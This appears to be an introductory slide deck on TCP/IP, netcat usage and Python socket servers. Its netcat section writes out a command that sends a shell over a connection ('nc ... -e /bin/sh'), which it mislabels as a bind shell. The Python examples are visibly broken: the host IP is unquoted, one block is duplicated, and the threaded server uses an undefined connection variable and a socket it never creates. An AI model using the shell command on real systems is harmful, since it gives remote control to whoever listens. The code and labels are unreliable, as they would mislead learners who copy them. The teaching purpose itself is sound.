Network Basics and Soccket Programming in Python!!!

What is a network?

A network is a physical or virtual segmentation of computers or other physical devices.

Devices on a network usually speak a common language or protocol to be able to communicate with one another.

Our entire world is a giant "web" of networks.

How does it work?

Devices on a network all agree to honor a certain protocol, which is a defined set of rules, to talk to one another.

For most common networks we use this is actually a combination of two protocols:

TCP: Transmission Control Protocol
IP: Internet Protocol

 

More commonly referred to simply as: TCP/IP

All computers on a network have a unique identifier called an: ip address

There's no place like: 127.0.0.1

How does it work(more)?

When devices want to "speak" TCP/IP to one another they need to establish a connection to start sending data.

Connections between two computers require two key concepts:

  • socket(s)
  • port(s)
  1.  One computer must be listening for connections on a port 
  2. Another computer must request to connect to that port
  3. Once they agree to establish a connection a socket is created
  4. Data packets are then sent to that socket

Let's try it out!

First we need to know our own IP address:

# Windows:

C:\ ipconfig /all

# Linux/Mac:

$ ifconfig

Open up your terminal:

What do you see??

netcat (swiss army of networking)

# Windows:

C:\path\to\file\ncat.exe --help

# Linux/Mac:

$ nc --help

Install ncat.exe on Windows

Mac/Linux has it installed by default as nc

# Windows:

C:\path\to\file\ncat.exe -l localhost 4444

# Linux/Mac:

$ nc -l localhost 4444

To listen for a connection:

# Windows:

C:\path\to\file\ncat.exe2 192.168.1.34 4444

# Linux/Mac:

$ nc 192.168.1.34 4444

To make a connection:

netcat file transfer

# Windows:

C:\path\to\file\ncat.exe -lv localhost 4444 > metasploitable-linux-2.0.0.zip

# Linux/Mac:

$ nc -lv 4444 > metasploitable-linux-2.0.0.zip

To prepare to receive(listen) for a file :

# Windows:

C:\path\to\file\ncat.exe2 192.168.1.34 4444 < metasploitable-linux-2.0.0.zip

# Linux/Mac:

$ nc 192.168.1.34 4444 < metasploitable-linux-2.0.0.zip

To  send(connect) the file:

netcat shell transfer (bind shell)

# Windows:

C:\path\to\file\ncat.exe -lv localhost 4444 

# Linux/Mac:

$ nc -lv 4444 

To prepare to receive(listen) a shell :

# Windows:

C:\path\to\file\ncat.exe2 192.168.1.34 4444 -e /bin/sh

# Linux/Mac:

$ nc 192.168.1.34 4444  -e /bin/sh

To  send(connect) the shell:

Client/Server Model

Often times we have a single machine that accepts connections from many machines.

 

Think: yourfavoritewebsite.com

 

The single machine is called a server and all machines that connect to that machine are called clients.

 

The client requests to connect to the server over a "listening" port to create a socket connection.

Client/Server Model

Socket Programming in Python

import socket

# What is the IP Address of our server?
HOST = 127.0.0.1

# What is the port we want to listen on for connections?
PORT = 4444

# Create a socket object
s = socket.socket()

# Bind to the specified host AND port
s.bind((HOST, PORT))       

# Listen for a maximum of 5 connections
s.listen(5)      
         
while True:
   # Wait for someone to try to connect and accept the connection
   c, addr = s.accept()
   print('Got connection from', addr)

   # Send a ressponse
   c.send('Hear you loud and clear')

   # Close the connection
   c.close()

Socket Programming in Python

import socket

# What is the IP Address of our server?
HOST = 127.0.0.1

# What is the port we want to listen on for connections?
PORT = 4444

# Create a socket object
s = socket.socket()

# Bind to the specified host AND port
s.bind((HOST, PORT))       

# Listen for a maximum of 5 connections
s.listen(5)      
         
while True:
   # Wait for someone to try to connect and accept the connection
   c, addr = s.accept()
   print('Got connection from', addr)

   # Send a ressponse
   c.send('Hear you loud and clear')

   # Close the connection
   c.close()

Socket Persistence in Python

import socket
from thread import *  #import all functions from the thread library by their own name


# Prior ENVIRONMENT variables here

def clientthread(conn):
    #Send a message back to the user that connected over this socket connection
    conn.send('You have summoned the Security Eight Ball, what is your question?\n')
    
    while True:

        #Receive new messages from the client
        data = conn.recv(1024)
        reply = 'You asked: ' + data
        if not data:
            break

        conn.sendall(reply)

    conn.close() #close only this connection
         
while True:
   # Wait for someone to try to connect and accept the connection
   c, addr = s.accept()
   print('Got connection from', addr)

   start_new_thread(clientthread, (conn,))


s.close()

practice!

Made with Slides.com